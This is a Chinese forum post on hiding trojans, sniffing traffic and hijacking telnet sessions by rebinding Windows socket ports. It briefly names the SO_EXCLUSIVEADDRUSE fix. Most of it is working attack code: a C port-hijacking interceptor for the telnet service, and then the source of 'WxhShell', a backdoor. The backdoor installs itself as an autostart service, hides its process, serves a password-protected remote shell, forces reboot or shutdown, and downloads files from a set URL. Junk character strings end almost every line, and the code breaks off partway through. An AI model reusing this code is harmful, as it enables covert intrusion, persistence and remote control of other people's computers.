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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ~-`BSR  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); X#Dhk6  
?,i#B'Z^  
  saddr.sin_family = AF_INET; 08K.\3  
o7 @4=m}  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); SqA+u/"j2  
?ck^? p7  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 1EAVMJ  
jy__Y=1}  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 @E"+qPp.3  
;@7 #w  
  这意味着什么?意味着可以进行如下的攻击: p^zEfLTU  
d_W nK{  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Wf`Oye Rz  
LO$#DHPt  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Q:fUM[  
P^_d$  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Ng_rb KXC#  
\}4#**]  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  2=/g~rp*  
"13 :VTs[5  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Lm*LJ_+ B  
53u.p c  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 kq1M <lk  
|q!2i  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 -B3w RAEt  
s=y9!rr  
  #include Ei p~ ~2  
  #include sNk>0 X[  
  #include eFXi )tl  
  #include    HDW\S#  
  DWORD WINAPI ClientThread(LPVOID lpParam);   1:;&wf  
  int main() LnRi+n[@7  
  { A]SB c2   
  WORD wVersionRequested; !7Nz W7j  
  DWORD ret; xBI"{nGoN  
  WSADATA wsaData; E~Up\f  
  BOOL val; aIt 0;D  
  SOCKADDR_IN saddr; Am=PUQF$  
  SOCKADDR_IN scaddr; P #2TM  
  int err; $OFFH[_z  
  SOCKET s; XUqE5[O%  
  SOCKET sc; jXDzjt94J  
  int caddsize; Uhx2 _  
  HANDLE mt; RJ@e5A6_  
  DWORD tid;   |_xiG~  
  wVersionRequested = MAKEWORD( 2, 2 ); "w|k\1D  
  err = WSAStartup( wVersionRequested, &wsaData ); Ppb2"Ik  
  if ( err != 0 ) { /wxxcq  
  printf("error!WSAStartup failed!\n"); xX4^nem\G  
  return -1; 'xrbg]b%  
  } IwgA A)H  
  saddr.sin_family = AF_INET; milK3+N  
   |z7Crz  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 TaHi+  
,tR'0&=  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 7jg(j~tQ  
  saddr.sin_port = htons(23); piiQ  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 98%tws`  
  { (B/F6 X;o.  
  printf("error!socket failed!\n"); IO&#)Ft  
  return -1; k2tX$\E  
  } (zLIv9$  
  val = TRUE; q!oZ; $  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 4#7@KhK}  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) g-V\ s&}  
  { dBq,O%$oq  
  printf("error!setsockopt failed!\n"); h9n<ped`A;  
  return -1; ?L#SnnE  
  } c{4nW|/W  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; F=T.*-oS3  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 eg~^wi  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 pu)9"Ad[ G  
BK\~I  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) "$"mWF-  
  { <$3nD b-  
  ret=GetLastError(); . ;@) 5"  
  printf("error!bind failed!\n"); U#1yl6e\I  
  return -1; &lfF!   
  } ?o DfI  
  listen(s,2); l'{goyf  
  while(1) Y)5uK:)^  
  { rnBeL _8C  
  caddsize = sizeof(scaddr); 4a\+o]  
  //接受连接请求 ]jY)M<:J4  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); n]{}C.C=  
  if(sc!=INVALID_SOCKET) N8(x),  
  { .Zt/e>K&  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 0JRB Nh  
  if(mt==NULL) WT {Cjn  
  { Vq7 kA "  
  printf("Thread Creat Failed!\n"); <C`eZ}Qqv  
  break; \w_[tPz}  
  } >E,L"&_j  
  } BHE =Zo  
  CloseHandle(mt); np>!lF:  
  } dvWlx]'  
  closesocket(s); __n"DLW  
  WSACleanup(); n|,Vm@zV  
  return 0; MGC0^voe  
  }   ,Y5 4(>>%  
  DWORD WINAPI ClientThread(LPVOID lpParam) #<>E+r+  
  { zr9Pm6Rl  
  SOCKET ss = (SOCKET)lpParam; &E '>+6  
  SOCKET sc; RkV3_c  
  unsigned char buf[4096]; Sm_:SF!<D6  
  SOCKADDR_IN saddr; ^A<.s_  
  long num; h=y(2xA  
  DWORD val; ^yZSCrPGI  
  DWORD ret; 4sE=WPKF#  
  //如果是隐藏端口应用的话,可以在此处加一些判断 O xaua  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   J& SuUh<  
  saddr.sin_family = AF_INET; xs`gN  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); %7wzGtM]ps  
  saddr.sin_port = htons(23); k#+^=F^)I  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) cCKda3v!O  
  { R#bV/7Ol  
  printf("error!socket failed!\n"); >Ez}r(QQ^  
  return -1; daJ-H  
  } M6Z`Pwv];  
  val = 100; acZ|H  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) J; Xz'0  
  { J 2~B<=V  
  ret = GetLastError(); l+X^x%EA  
  return -1; Sh6 NgO  
  } ct/THq  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Z$K%@q,10+  
  { "Ksd9,J\b  
  ret = GetLastError(); K{h]./%  
  return -1; Cu<ojN- $  
  } .z7f_KX^  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) W]7?;#Hpk  
  { /!8:/7r+W  
  printf("error!socket connect failed!\n"); UiN ^x  
  closesocket(sc); by ee-BU  
  closesocket(ss); F+-MafN7Y  
  return -1; s_?* R  
  } ,qh  
  while(1) +mPB?5  
  { }slEkpk? ]  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 '~=xP  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ATewdq[C  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 m{Xf_rQ w  
  num = recv(ss,buf,4096,0); 5d;K.O  
  if(num>0) d-&dA_ ?  
  send(sc,buf,num,0); o%Q'<0d  
  else if(num==0) cwU6}*_zn  
  break; ?& ^l8gE  
  num = recv(sc,buf,4096,0); IN*Z__l8j`  
  if(num>0) Du4?n8 o  
  send(ss,buf,num,0); *Y>'v%  
  else if(num==0) fkG"72 95A  
  break; ;yoq/  
  } r2`?Ta  
  closesocket(ss); |EU08b]P29  
  closesocket(sc); wC@ U/?  
  return 0 ; 9uo\&,,  
  } 7En~~J3  
qo ![#s  
Fd0FG A&L  
========================================================== ,FPgs0rrS  
cW>`Z:6{K  
下边附上一个代码,,WXhSHELL ~$ Yuxo  
p`C5jfI  
========================================================== xBd% e-r  
^U1 +D^AJ  
#include "stdafx.h" yrb%g~ELGn  
}Q*ec/^{f  
#include <stdio.h> D^4V"rq  
#include <string.h> t*$@QO  
#include <windows.h> I!%@|[ Ow  
#include <winsock2.h> `Q[$R&\  
#include <winsvc.h>  n6dg   
#include <urlmon.h> \Bf{/r5x  
|LhuZ_;1xo  
#pragma comment (lib, "Ws2_32.lib") V6o,}o&-  
#pragma comment (lib, "urlmon.lib") {GY$J<5=  
RAa1KOxZX  
#define MAX_USER   100 // 最大客户端连接数 -#hl& ^u$  
#define BUF_SOCK   200 // sock buffer d@~)Wlje  
#define KEY_BUFF   255 // 输入 buffer hTqJDP"&F  
+%^xz 1m  
#define REBOOT     0   // 重启 svII =JB  
#define SHUTDOWN   1   // 关机 Xp@OIn  
.- o,_eg1f  
#define DEF_PORT   5000 // 监听端口 E_#&L({|@  
q9Wtu7/  
#define REG_LEN     16   // 注册表键长度 m{" zFD/  
#define SVC_LEN     80   // NT服务名长度 fe,CY5B{  
x6]?}Q>>D  
// 从dll定义API !ym5' h  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ng\S%nA&J  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); U$%w"k7^(  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Il[WXt<S  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); $NSYQF%aO  
uDUSR+E>  
// wxhshell配置信息 T!AQJ:;1  
struct WSCFG { 4+Kc  
  int ws_port;         // 监听端口 ul1Vsj  
  char ws_passstr[REG_LEN]; // 口令 +z_0?x  
  int ws_autoins;       // 安装标记, 1=yes 0=no #YV;Gp(2h  
  char ws_regname[REG_LEN]; // 注册表键名 P=GM7  
  char ws_svcname[REG_LEN]; // 服务名 / ffWmb_4  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 R2{X? 2|$  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ""=Vt]  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息  #Ki@=*  
int ws_downexe;       // 下载执行标记, 1=yes 0=no n ~)%ou  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" (TsgVq]L  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 4O'ho0w7  
UHwrssX&3  
}; R8]bi|e)  
t `oP;  
// default Wxhshell configuration ]y/:#^M+  
struct WSCFG wscfg={DEF_PORT, %r!-*p<i|  
    "xuhuanlingzhe", <7+.5iB3  
    1, ) eV]M~K:  
    "Wxhshell", jA'+>`@  
    "Wxhshell", sP#5l @  
            "WxhShell Service", *HUqW}_r  
    "Wrsky Windows CmdShell Service", B:SRHd{*Wu  
    "Please Input Your Password: ", *&km5@*  
  1, Sr0mA M  
  "http://www.wrsky.com/wxhshell.exe", Smo'&x  
  "Wxhshell.exe" tVwN92*J  
    }; K,Vl.-4?  
p_D)=Ef|&  
// 消息定义模块 0&|-wduR=  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; sT ONkd  
char *msg_ws_prompt="\n\r? for help\n\r#>"; hi%>&i*  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; {WChD&v  
char *msg_ws_ext="\n\rExit."; ~V5jjx*  
char *msg_ws_end="\n\rQuit."; ;F- kE4w  
char *msg_ws_boot="\n\rReboot..."; s5 BV8 M  
char *msg_ws_poff="\n\rShutdown..."; ~PHG5?X  
char *msg_ws_down="\n\rSave to "; c'C2V9t  
|gNOv;l  
char *msg_ws_err="\n\rErr!"; lH 8?IkK,g  
char *msg_ws_ok="\n\rOK!"; CS  
*^]ba>  
char ExeFile[MAX_PATH]; #=2~MXa@z7  
int nUser = 0; 5;+Bl@zGu  
HANDLE handles[MAX_USER]; x[E`2_Ff0  
int OsIsNt; U8z,N1]r*`  
YZd4% zF  
SERVICE_STATUS       serviceStatus; x1Uj4*Au  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Zv_<*uzKZ  
V3S`8VI  
// 函数声明 P]G2gDO  
int Install(void); !nVuvsbv  
int Uninstall(void); e): &pqA  
int DownloadFile(char *sURL, SOCKET wsh); asb") NfIm  
int Boot(int flag);  .*+ &>m7  
void HideProc(void); b@k3y9 &  
int GetOsVer(void); *Co+UJjT  
int Wxhshell(SOCKET wsl); H"sey +-  
void TalkWithClient(void *cs); }5|uA/B  
int CmdShell(SOCKET sock); y_w4ei  
int StartFromService(void); = 619+[fK  
int StartWxhshell(LPSTR lpCmdLine); d] {^  
fu/v1~X  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); LY7'wONx  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); hhpH)Bi=  
n#iL[ &/Aw  
// 数据结构和表定义 p ^Ruf?>  
SERVICE_TABLE_ENTRY DispatchTable[] = 4IVCTz[  
{ @uHNz-c  
{wscfg.ws_svcname, NTServiceMain}, MCvjdc3:  
{NULL, NULL} Ood&cP'c  
}; 6<2 7}S  
W,vb7v'  
// 自我安装 zKR_P{W>^  
int Install(void) (RQ kwu/  
{ Pm-@ZZ~  
  char svExeFile[MAX_PATH]; oY &r76  
  HKEY key; >qOhzbAH{<  
  strcpy(svExeFile,ExeFile); ?>e-6*.  
3.Y/ZWON  
// 如果是win9x系统,修改注册表设为自启动 3]T2Zp&;  
if(!OsIsNt) { y5>H>NS  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { yB&s2J  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); I-^Y$6-  
  RegCloseKey(key); ;s{rJG{inG  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { P66>w})@  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); (sZ B-  
  RegCloseKey(key); yPW?%7 h  
  return 0; I~Ziq10  
    } 4Vh#Ye:`  
  } e4t'3So  
} k#U?Xs>  
else { m)&2zV/Q  
wj5{f5 RWV  
// 如果是NT以上系统,安装为系统服务 S?&ntUah  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); %1S;y  
if (schSCManager!=0) (2 X`imJ  
{ tONxV`  
  SC_HANDLE schService = CreateService v]BN.SHE_  
  ( +Bgy@.a?  
  schSCManager, ((#|>W\&  
  wscfg.ws_svcname, kd2+k4@#  
  wscfg.ws_svcdisp, ZPHB$]ri  
  SERVICE_ALL_ACCESS, ><%z~s  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , )jvYJ9s  
  SERVICE_AUTO_START, *?cE]U6;  
  SERVICE_ERROR_NORMAL, .:E%cL +h  
  svExeFile, cl[rgj  
  NULL, zl$'W=[rFs  
  NULL, I;9>$?t[  
  NULL, cZi/bIh  
  NULL, qn:3s  
  NULL +eQg+@u  
  ); SD |5v*  
  if (schService!=0) !CUrpr/*  
  { ~'n3],o?  
  CloseServiceHandle(schService); f/aSqhAW  
  CloseServiceHandle(schSCManager); a(QYc?u  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); x^&D8&4^  
  strcat(svExeFile,wscfg.ws_svcname); !IF#L0z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { z^bv)u  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); It&$R`k  
  RegCloseKey(key); XX+%:,G  
  return 0; U*b1yxt  
    } <;G.(CK@n  
  } B E!HM{-  
  CloseServiceHandle(schSCManager); R^4JM,v9x`  
} #!qa#.Yi  
} )ERmSWq/u  
c"~ +Y2]tL  
return 1; Y {a#2(xn  
} i|2CZ  
 [,JUC<  
// 自我卸载 ei%L[>N  
int Uninstall(void) Gf*|f"O  
{ <A"[Wk  
  HKEY key; TL'^@Y7X5  
4Qwv:4La  
if(!OsIsNt) { ;hzm&My  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { @'P\c   
  RegDeleteValue(key,wscfg.ws_regname); \\}tD@V"  
  RegCloseKey(key); 6_}& WjU'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { O(pa;&"  
  RegDeleteValue(key,wscfg.ws_regname); hUR>NUK@8  
  RegCloseKey(key); xYSNop3_  
  return 0; w\SfzJN  
  } 0q}k"(9  
} ,0k3Qi%  
} `0)'&HbLY  
else { @~g][O#Fu  
T3H\KRe6  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); iTUOJ3V7i  
if (schSCManager!=0) ~IQ3B $4H&  
{ {XR 3L'X  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); NW?.Ge.!P  
  if (schService!=0) -0P(lkylf  
  { E)ne z  
  if(DeleteService(schService)!=0) { N./l\NtZ  
  CloseServiceHandle(schService); :^bjn3b  
  CloseServiceHandle(schSCManager); a]NH >d  
  return 0; [cfKvROG  
  } i?^lEqy[  
  CloseServiceHandle(schService); ?OD43y1rzd  
  } ]&+,`1_q  
  CloseServiceHandle(schSCManager); iC(&U YL  
} q/qJkr^2  
} )+L.$h  
1>)q 5D  
return 1; 7j,u&%om  
} ;Gnk8lIsb  
NLnfCY-h  
// 从指定url下载文件 ^t0Yh%V7  
int DownloadFile(char *sURL, SOCKET wsh) pXPLTGY<R+  
{ 2,T^L (]  
  HRESULT hr; @3g$H[}  
char seps[]= "/"; 9lU"m_ QT4  
char *token; &GKtD)  
char *file; V =9  
char myURL[MAX_PATH]; jt5:rWB  
char myFILE[MAX_PATH]; a|Yry  
b_v{QE<  
strcpy(myURL,sURL); nA1059B  
  token=strtok(myURL,seps); N Ftmus  
  while(token!=NULL) T #OrsJdu  
  { <4Ev3z*;Z  
    file=token; P[q 'Y^\  
  token=strtok(NULL,seps); N$I@]PL  
  } BK *Bw,KQ<  
.G/>X%X  
GetCurrentDirectory(MAX_PATH,myFILE); )y#~eYn  
strcat(myFILE, "\\"); ;:Kd?Tz$  
strcat(myFILE, file); A,fPl R  
  send(wsh,myFILE,strlen(myFILE),0); Gq)E,Ln&d  
send(wsh,"...",3,0); ))NiX^)8^  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); SJ0IEPk  
  if(hr==S_OK) G _1`NyI  
return 0; hf('4^  
else |i~Ab!*8n  
return 1; DuvI2Z WP]  
Fi3k  
} P&kjtl68 Y  
\A%s" O/  
// 系统电源模块 'O:QS)  
int Boot(int flag) x )w6  
{ 0YsBAfRG  
  HANDLE hToken; nm}wdel"  
  TOKEN_PRIVILEGES tkp; @hVF}ybp  
GeydVT-  
  if(OsIsNt) { MGbl-,]  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); U#U'iPy  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ^.?5!9U  
    tkp.PrivilegeCount = 1; qPH=2k ,H  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; .$]%gjIBCl  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); d&G#3}kOb%  
if(flag==REBOOT) { Rzj1D:?X@  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ud`!X#e~  
  return 0; n`TXm g  
} Pbo759q 1  
else { aK+jpi4?  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) IUZ@n0/T  
  return 0; {vf4l4J(  
} ^1 U<,<  
  } 5JvrQGvL  
  else { bf*VY&S- T  
if(flag==REBOOT) { @gM>Lxj  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) S`t@L}  
  return 0; z4B-fS]  
} vj#Y /B  
else { ]f}#&]<(T  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) "j*{7FBqk  
  return 0; r@)_>(  
} NW%u#MZ[h  
} qGK -f4  
z%0'v`7  
return 1; &aLelJ~  
} 9snc *<  
%Bf;F;xuB  
// win9x进程隐藏模块 B\mRH V!  
void HideProc(void) hH3~O` ~  
{ [OU[i(,{  
Z8xKg  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); +BaZl<ZP1s  
  if ( hKernel != NULL ) | f}1bJE+  
  { H4Lvw8G  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); g q|]t<'  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); H="E#AC%8/  
    FreeLibrary(hKernel); 6aMG!_jC  
  } {1VMwANj  
:d{-"RAG"  
return; !M*$p Qi}  
} XI/LVP,.  
kaG@T,pH(  
// 获取操作系统版本 &CcUr#|  
int GetOsVer(void) s%OPoRE  
{ D.;iz>_}Y  
  OSVERSIONINFO winfo; RASPOc/]   
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); \.l8]LH  
  GetVersionEx(&winfo); l.3|0lopX)  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) IMT]!j&Y,  
  return 1; |08'd5  
  else p~bx  
  return 0; At$[&%}  
} I|eYeJ3  
m6 V L  
// 客户端句柄模块 edZhI  
int Wxhshell(SOCKET wsl) eWw# T^  
{ ;GF+0~5>  
  SOCKET wsh; o1^Rx5  
  struct sockaddr_in client; $AyE6j_1gX  
  DWORD myID; b>]MZhLJe  
Nfo`Q0\[P  
  while(nUser<MAX_USER) 8Ts_;uId  
{ g*-%.fNA  
  int nSize=sizeof(client); o-7,P RmKN  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); E,wOWs*  
  if(wsh==INVALID_SOCKET) return 1; ,2MLYW,  
?#]wx H,  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ^Yg}>?0  
if(handles[nUser]==0) VlbS\Y.  
  closesocket(wsh); L[rxs[7~  
else tH^]`6"QUa  
  nUser++; i[7<l&K]  
  } 2M$^|j:[  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); n=1_-)  
8{)j"rghah  
  return 0; l1#F1q`^t  
} }T1.~E  
FA7q pc  
// 关闭 socket U ,7O{YM  
void CloseIt(SOCKET wsh) 4Uzx2   
{ 2, R5mL$  
closesocket(wsh); UVz}"TRq.  
nUser--; =+ vl+h  
ExitThread(0); viXt]0  
} @Lk!nP  
S|pf.l  
// 客户端请求句柄 7B s:u  
void TalkWithClient(void *cs) (Ee5Af,4  
{ *i,@d&J y]  
Wfp>BC  
  SOCKET wsh=(SOCKET)cs; (JI[y"2  
  char pwd[SVC_LEN]; l)K8.(2  
  char cmd[KEY_BUFF]; 8lZB3p]X  
char chr[1]; |SSe n#PYp  
int i,j; !E.CpfaC  
t;/s^-}  
  while (nUser < MAX_USER) { b-Xc6f  
J *nWCL  
if(wscfg.ws_passstr) { IDn$w^"  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); +JlPQ~5  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); SDHJX8Hq  
  //ZeroMemory(pwd,KEY_BUFF); u?%FD~l:uU  
      i=0; /+JHnedK  
  while(i<SVC_LEN) { a,`f`;\7N%  
W:S?_JM  
  // 设置超时 zkb[u"  
  fd_set FdRead; mO8E-D*3  
  struct timeval TimeOut; 3!qp+i)?  
  FD_ZERO(&FdRead); `&w{-om\  
  FD_SET(wsh,&FdRead); Pk/3oF  
  TimeOut.tv_sec=8; Q4e+vBECkq  
  TimeOut.tv_usec=0; ,9YgznQ  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); &qMt07  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Tg_#z  
&OXm^f)K  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); {({Rb$  
  pwd=chr[0]; +rWcfXOHM  
  if(chr[0]==0xd || chr[0]==0xa) { OYLg-S  
  pwd=0; F\Q X=n  
  break; G:4'')T  
  } bx._,G  
  i++; '4e, e|r  
    } Boj#r ,x  
>hv8zHOO:  
  // 如果是非法用户,关闭 socket ?)V|L~/  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); M'5PPBSR  
} 6.6;oa4j  
E x )fXQ+  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); WWgJ !Uz  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); %*a%F~Ss  
mV++7DY  
while(1) { {'NXJ!I;t  
$i;m9_16  
  ZeroMemory(cmd,KEY_BUFF); \ IX|{]*D  
/H~]5JZ3-E  
      // 自动支持客户端 telnet标准   }F4%5go  
  j=0; ;|r<mT/,  
  while(j<KEY_BUFF) { =HHtLW.|,  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); hEMS  
  cmd[j]=chr[0]; j^6,V\;l  
  if(chr[0]==0xa || chr[0]==0xd) { BK)3b6L=%  
  cmd[j]=0; W'{o`O=GGr  
  break; 4)Ab]CdD  
  } E>isl"  
  j++; Zt ;u8O  
    } Vu5Djx'  
F#KUu3;B  
  // 下载文件 g+%Pg@[  
  if(strstr(cmd,"http://")) { ,Fzuo:{uy  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); vn1*D-?  
  if(DownloadFile(cmd,wsh)) .kc{)d*0K  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5b$QXO  
  else z`:tl7  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); h pKrP  
  } 0lLg uBW@  
  else { Fp~0 ^  
%(A@=0r#  
    switch(cmd[0]) { Ti>2N  
  -GODM128 ^  
  // 帮助 ]FEsN6  
  case '?': { [vn"r^P  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); WXFC e@  
    break; 3eN(Sw@p  
  } <RCeY(1  
  // 安装 AsO)BeUD  
  case 'i': { 7bL48W<QD  
    if(Install()) D:0?u_[W  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +ux170Cd3  
    else gQ$0 |0O  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6QePrf  
    break; FV\$M6 _  
    } oD 3Q{ e  
  // 卸载 ZmaGp* Wj  
  case 'r': { 3B5 `Y  
    if(Uninstall()) iD) P6"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8d[!"lL  
    else 4P=)u}{]^#  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); d~;U-  
    break; 1EQLsg`d^  
    } ZsN3 MbY  
  // 显示 wxhshell 所在路径 mk[<=k~  
  case 'p': { A \-r%&.  
    char svExeFile[MAX_PATH]; 9)J)r \  
    strcpy(svExeFile,"\n\r"); C *]XQ1F4  
      strcat(svExeFile,ExeFile); QRHM#v S  
        send(wsh,svExeFile,strlen(svExeFile),0); cF}9ldc  
    break; HY,VJxR[  
    } UUEbtZH;  
  // 重启 j"9Zaq_  
  case 'b': { 1O+$"5H  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 17[vq!x6  
    if(Boot(REBOOT)) :Fdk`aC  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); d(F4-kBd  
    else { tUhr gc  
    closesocket(wsh); G5 *_  
    ExitThread(0); xM13OoU  
    } sfR0wEqI  
    break; Fiaeo0  
    } @vPGkM#oW  
  // 关机 ] 69z-;  
  case 'd': { C A$R  
